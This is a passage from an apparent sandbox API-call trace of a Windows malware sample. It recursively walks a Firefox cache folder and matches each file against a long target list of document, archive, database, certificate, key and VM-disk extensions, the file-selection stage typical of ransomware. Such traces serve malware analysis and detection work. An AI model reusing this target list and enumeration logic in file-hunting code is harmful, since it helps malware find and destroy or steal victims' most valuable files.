HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.cs") returned 0 [0086.108] lstrlenA (lpString="*.cs") returned 4 [0086.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.cpp") returned 0 [0086.108] lstrlenA (lpString="*.cpp") returned 5 [0086.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.rar") returned 0 [0086.108] lstrlenA (lpString="*.rar") returned 5 [0086.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.zip") returned 0 [0086.108] lstrlenA (lpString="*.zip") returned 5 [0086.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.html") returned 0 [0086.108] lstrlenA (lpString="*.html") returned 6 [0086.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.htm") returned 0 [0086.108] lstrlenA (lpString="*.htm") returned 5 [0086.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.xlsx") returned 0 [0086.108] lstrlenA (lpString="*.xlsx") returned 6 [0086.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.xls") returned 0 [0086.108] lstrlenA (lpString="*.xls") returned 5 [0086.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.mp4") returned 0 [0086.108] lstrlenA (lpString="*.mp4") returned 5 [0086.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.ppt") returned 0 [0086.108] lstrlenA (lpString="*.ppt") returned 5 [0086.108] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.pptx") returned 0 [0086.109] lstrlenA (lpString="*.pptx") returned 6 [0086.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.doc") returned 0 [0086.109] lstrlenA (lpString="*.doc") returned 5 [0086.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.dot") returned 0 [0086.109] lstrlenA (lpString="*.dot") returned 5 [0086.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.docx") returned 0 [0086.109] lstrlenA (lpString="*.docx") returned 6 [0086.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.7z") returned 0 [0086.109] lstrlenA (lpString="*.7z") returned 4 [0086.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.tar") returned 0 [0086.109] lstrlenA (lpString="*.tar") returned 5 [0086.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.bz2") returned 0 [0086.109] lstrlenA (lpString="*.bz2") returned 5 [0086.109] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.gz") returned 0 [0086.110] lstrlenA (lpString="*.gz") returned 4 [0086.110] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.mkv") returned 0 [0086.110] lstrlenA (lpString="*.mkv") returned 5 [0086.110] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.eml") returned 0 [0086.110] lstrlenA (lpString="*.eml") returned 5 [0086.110] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.msg") returned 0 [0086.110] lstrlenA (lpString="*.msg") returned 5 [0086.110] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.edb") returned 0 [0086.110] lstrlenA (lpString="*.edb") returned 5 [0086.110] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.accdb") returned 0 [0086.110] lstrlenA (lpString="*.accdb") returned 7 [0086.110] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.odb") returned 0 [0086.110] lstrlenA (lpString="*.odb") returned 5 [0086.110] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.java") returned 0 [0086.110] lstrlenA (lpString="*.java") returned 6 [0086.110] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.asm") returned 0 [0086.110] lstrlenA (lpString="*.asm") returned 5 [0086.110] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.pfx") returned 0 [0086.110] lstrlenA (lpString="*.pfx") returned 5 [0086.110] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.pem") returned 0 [0086.110] lstrlenA (lpString="*.pem") returned 5 [0086.110] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.p12") returned 0 [0086.111] lstrlenA (lpString="*.p12") returned 5 [0086.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.gpg") returned 0 [0086.111] lstrlenA (lpString="*.gpg") returned 5 [0086.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.vsd") returned 0 [0086.111] lstrlenA (lpString="*.vsd") returned 5 [0086.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.odg") returned 0 [0086.111] lstrlenA (lpString="*.odg") returned 5 [0086.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.raw") returned 0 [0086.111] lstrlenA (lpString="*.raw") returned 5 [0086.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.nef") returned 0 [0086.111] lstrlenA (lpString="*.nef") returned 5 [0086.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.svg") returned 0 [0086.111] lstrlenA (lpString="*.svg") returned 5 [0086.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.psd") returned 0 [0086.111] lstrlenA (lpString="*.psd") returned 5 [0086.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.vmx") returned 0 [0086.111] lstrlenA (lpString="*.vmx") returned 5 [0086.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.vmdk") returned 0 [0086.111] lstrlenA (lpString="*.vmdk") returned 6 [0086.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.vdi") returned 0 [0086.111] lstrlenA (lpString="*.vdi") returned 5 [0086.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.lay6") returned 0 [0086.111] lstrlenA (lpString="*.lay6") returned 6 [0086.111] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.mpeg") returned 0 [0086.112] lstrlenA (lpString="*.mpeg") returned 6 [0086.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.djvu") returned 0 [0086.112] lstrlenA (lpString="*.djvu") returned 6 [0086.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.tiff") returned 0 [0086.112] lstrlenA (lpString="*.tiff") returned 6 [0086.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.backup") returned 0 [0086.112] lstrlenA (lpString="*.backup") returned 8 [0086.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.pdf") returned 0 [0086.112] lstrlenA (lpString="*.pdf") returned 5 [0086.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.cert") returned 0 [0086.112] lstrlenA (lpString="*.cert") returned 6 [0086.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.docm") returned 0 [0086.112] lstrlenA (lpString="*.docm") returned 6 [0086.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.xlsm") returned 0 [0086.112] lstrlenA (lpString="*.xlsm") returned 6 [0086.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.dwg") returned 0 [0086.112] lstrlenA (lpString="*.dwg") returned 5 [0086.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.nd") returned 0 [0086.112] lstrlenA (lpString="*.nd") returned 4 [0086.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.tlg") returned 0 [0086.112] lstrlenA (lpString="*.tlg") returned 5 [0086.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.lgb") returned 0 [0086.112] lstrlenA (lpString="*.lgb") returned 5 [0086.112] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.mov") returned 0 [0086.113] lstrlenA (lpString="*.mov") returned 5 [0086.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.xdw") returned 0 [0086.113] lstrlenA (lpString="*.xdw") returned 5 [0086.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.ods") returned 0 [0086.113] lstrlenA (lpString="*.ods") returned 5 [0086.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.wav") returned 0 [0086.113] lstrlenA (lpString="*.wav") returned 5 [0086.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.mp3") returned 0 [0086.113] lstrlenA (lpString="*.mp3") returned 5 [0086.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.aiff") returned 0 [0086.113] lstrlenA (lpString="*.aiff") returned 6 [0086.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.flac") returned 0 [0086.113] lstrlenA (lpString="*.flac") returned 6 [0086.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.m4a") returned 0 [0086.113] lstrlenA (lpString="*.m4a") returned 5 [0086.113] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01", pszSpec="*.csv") returned 0 [0086.113] lstrlenA (lpString="*.csv") returned 5 [0086.113] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb72eeab0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x20543, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1D8FDd01", cAlternateFileName="")) returned 0 [0086.113] FindClose (in: hFindFile=0x502798 | out: hFindFile=0x502798) returned 1 [0086.114] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4B", cAlternateFileName="")) returned 0 [0086.114] FindClose (in: hFindFile=0x502758 | out: hFindFile=0x502758) returned 1 [0086.114] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x33, dwReserved1=0x0, cFileName="4", cAlternateFileName="")) returned 1 [0086.114] lstrcmpA (lpString1=".", lpString2="4") returned -1 [0086.114] lstrcmpA (lpString1="..", lpString2="4") returned -1 [0086.114] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*.*") returned="*.*" [0086.114] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\", lpString2="4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4" [0086.114] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4") returned 93 [0086.114] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502758 [0086.114] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.114] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.115] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.115] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.115] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.115] FindClose (in: hFindFile=0x502758 | out: hFindFile=0x502758) returned 1 [0086.115] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34, dwReserved1=0x0, cFileName="5", cAlternateFileName="")) returned 1 [0086.115] lstrcmpA (lpString1=".", lpString2="5") returned -1 [0086.115] lstrcmpA (lpString1="..", lpString2="5") returned -1 [0086.115] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*.*") returned="*.*" [0086.115] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\", lpString2="5" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5" [0086.115] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5") returned 93 [0086.115] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502758 [0086.173] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.173] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.173] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.173] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.173] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.173] FindClose (in: hFindFile=0x502758 | out: hFindFile=0x502758) returned 1 [0086.173] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x35, dwReserved1=0x0, cFileName="6", cAlternateFileName="")) returned 1 [0086.173] lstrcmpA (lpString1=".", lpString2="6") returned -1 [0086.173] lstrcmpA (lpString1="..", lpString2="6") returned -1 [0086.173] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*.*") returned="*.*" [0086.173] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\", lpString2="6" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6" [0086.173] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6") returned 93 [0086.174] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502758 [0086.174] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.174] 